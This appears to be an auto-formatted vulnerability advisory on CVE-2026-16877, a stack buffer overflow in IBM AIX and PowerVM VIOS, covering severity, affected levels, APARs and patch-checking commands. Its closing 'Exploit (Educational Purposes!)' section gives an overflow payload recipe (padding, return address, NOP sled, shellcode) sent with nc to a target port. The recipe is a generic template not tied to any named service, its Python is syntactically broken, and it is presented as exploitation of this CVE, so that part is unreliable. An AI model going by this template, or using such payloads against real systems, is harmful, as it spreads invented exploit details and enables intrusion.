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CVE-2026-16877 is a stack-based buffer overflow vulnerability affecting IBM AIX versions 7.2 and 7.3, as well as IBM PowerVM VIOS version 4.1. The flaw resides in the handling of input data by certain services within these operating systems, allowing a remote authenticated attacker to trigger a buffer overflow condition on the stack. When an affected service receives specially crafted input that exceeds the allocated buffer size on the stack, the excess data overwrites adjacent memory regions, including critical control data such as return addresses and saved frame pointers.
The vulnerability is classified under CWE-121 (Stack-based Buffer Overflow) and carries a CVSS v3.1 base score of 8.8, which is rated as HIGH severity. The CVSS vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating that the attack vector is network-based, the attack complexity is low, and the attacker requires low-privileged authentication. The scope is unchanged, and the impact on confidentiality, integrity, and availability is high.
To exploit this vulnerability, an attacker must first authenticate to the target system, either through compromised credentials or by leveraging an existing low-privileged account. Once authenticated, the attacker sends a specially crafted payload to the vulnerable service, overflowing the stack buffer and overwriting the return address. This allows the attacker to redirect execution flow to malicious code injected into memory, leading to arbitrary code execution with the privileges of the vulnerable process—typically root or system-level privileges. The affected products include IBM AIX 7.3 TL04, 7.3 TL03, 7.3 TL02, 7.2 TL05, and IBM PowerVM VIOS 4.1.2, 4.1.1, and 4.1.0. The vulnerability is present in default installations.
IBM has released security updates to address this vulnerability. The fixes are available through IBM Fix Central and require a system reboot to take full effect. On AIX systems, Live Update can be used to avoid a reboot. The assigned APARs for each affected version are IJ59566 (AIX 7.2.5), IJ59565 (AIX 7.3.2), IJ59564 (AIX 7.3.3), IJ59563 (AIX 7.3.4), IJ59565 (VIOS 4.1.0), IJ59564 (VIOS 4.1.1), and IJ59563 (VIOS 4.1.2). The recommended remediation levels are AIX 7.3 TL04 SP2, AIX 7.3 TL03 SP3, AIX 7.3 TL02 SP5, AIX 7.2 TL05 SP13, VIOS 4.1.2.20, VIOS 4.1.1.30, and VIOS 4.1.0.50.
DailyCVE Form:
Platform: IBM AIX / PowerVM VIOS
Version: 7.2, 7.3 / 4.1
Vulnerability: Stack Buffer Overflow
Severity: High (8.8 CVSS)
Date: 2026-08-19
Prediction: 2026-08-21
What Undercode Say:
Check AIX version oslevel -s Check VIOS version ioslevel Check if fix is applied (AIX) instfix -ik IJ59566 IJ59565 IJ59564 IJ59563 Check if fix is applied (VIOS) emgr -l | grep -E "IJ59565|IJ59564|IJ59563" Download fix from IBM Fix Central https://www.ibm.com/support/fixcentral Apply AIX fix installp -acgXd /path/to/fix.bff all Apply VIOS fix updateios -install /path/to/fix.bff Reboot after fix application shutdown -Fr
Exploit: (Educational Purposes!)
Step 1: Authenticate to target AIX/VIOS system
ssh user@target_ip
Step 2: Identify vulnerable service (example service name)
ps -ef | grep vulnerable_service
Step 3: Craft payload to overflow stack buffer
Buffer size: 256 bytes (example)
Return address overwrite: offset 256 + 4 bytes
payload=$(python -c "print('A'256 + '\xef\xbe\xad\xde' + '\x90'50 + shellcode)")
Step 4: Send payload to vulnerable service
echo "$payload" | nc target_ip vulnerable_port
Note: Actual exploitation requires precise reverse engineering
of the target service to determine exact offset and memory layout.
Protection:
- Apply the official IBM fixes immediately via Fix Central
- Restrict network access to AIX/VIOS management interfaces
- Enforce strong authentication and rotate credentials regularly
- Monitor system logs for unusual activity or crashes
- Use AIX Live Update to apply patches without downtime
- Implement network segmentation to limit attacker access
Impact:
- Remote authenticated attacker can execute arbitrary code with elevated privileges
- Full compromise of confidentiality, integrity, and availability
- Potential for lateral movement within the network
- Data theft, system destruction, or ransomware deployment
- Affects AIX 7.2, 7.3, and PowerVM VIOS 4.1 environments
- High risk for internal networks where authenticated users exist
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Sources:
Reported By: nvd.nist.gov
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